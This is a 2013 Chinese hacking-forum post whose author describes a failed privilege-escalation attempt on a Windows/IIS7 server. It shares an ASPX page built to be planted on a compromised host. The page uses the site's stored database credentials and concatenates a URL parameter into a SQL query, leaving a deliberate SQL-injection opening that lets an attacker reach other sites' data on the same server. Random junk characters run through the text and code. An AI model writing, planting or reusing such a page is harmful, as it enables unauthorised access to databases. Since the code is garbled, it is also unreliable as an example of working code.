找回密码
 立即注册
查看: 3021|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。: n6 \8 R* d" F, H# ~
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。' p+ m( A9 ]3 U' q' M1 i: Q5 f
代码量不多,自己写个拉倒了。烦死了。
/ a5 \% p+ e& R2 s$ m) r
9 ]' d) O" ^. i$ D3 S7 c
" _/ W4 J' H1 y4 M" `' _4 w<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
0 H6 B/ J  y6 |( N+ x( {0 x3 u<html xmlns="http://www.w3.org/1999/xhtml">
- c2 t3 \* D% R6 `# s3 g$ t<head runat="server">
/ ~! l% R" O2 L; \5 Q' U9 @/ D/ r& t    <title>暗影aspx构造注射专用页面</title># ]5 G: v# O2 {% P% F5 f
</head>$ _! J! U: b, W- a. r/ K' ~. _
<body>
. a' Z0 x# F9 s8 a) F    <form id="form1" runat="server">8 S. ]! f' B6 d0 b& ^/ |
    <div>
, A3 W& u# t6 G- n& b% ^% ]/ i     <script language="c#" runat="server">
3 q+ M; I" P& \( B            / \1 b& N6 X5 q  \  f+ c
         void page_init(object sender, EventArgs e)! ~6 V0 `! o. A% j# x5 {+ o: V
         {- ]! S  i2 S2 \3 F" r  h
             2 v$ K9 t# b& d* c
             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();3 G5 o% a$ \; }3 u3 U6 v  c
             & O) I( h3 c9 i; j; q/ G) R  W
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
5 U: B0 P% R6 `5 n1 b             conn.Open();
# R4 b' K4 h' R' h! w4 L  w            
' ?2 t# h- \/ S; `# f/ a) [             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
% p/ M4 e8 Z% F# r8 Z: D             , N/ w8 q, v" _: F' W
             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
% B8 Q- G* e5 o  N             int x = command.ExecuteNonQuery();5 f4 R/ f  V# j
             Response.Write(i+"\n");  R; ?1 M% X9 r# r% t, ^8 |
             Response.Write(x);
; P  D7 K/ V3 N# p- r& D0 ]             conn.Close();
/ ?/ n0 M/ z7 q2 o! D         }
7 u1 V$ Q4 H5 q5 _! S     ( U1 ?- Y0 k) n" K* k& U2 |. ?
  </script>
& g) Y( U$ J8 N6 I    </div>
, B/ O% ~5 N- Q5 x- \0 `    </form>' c6 Y! r4 r2 J" m& b9 }& F
</body>+ z6 a0 Z; q& o
</html>
& _) ~) U% H' S# D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表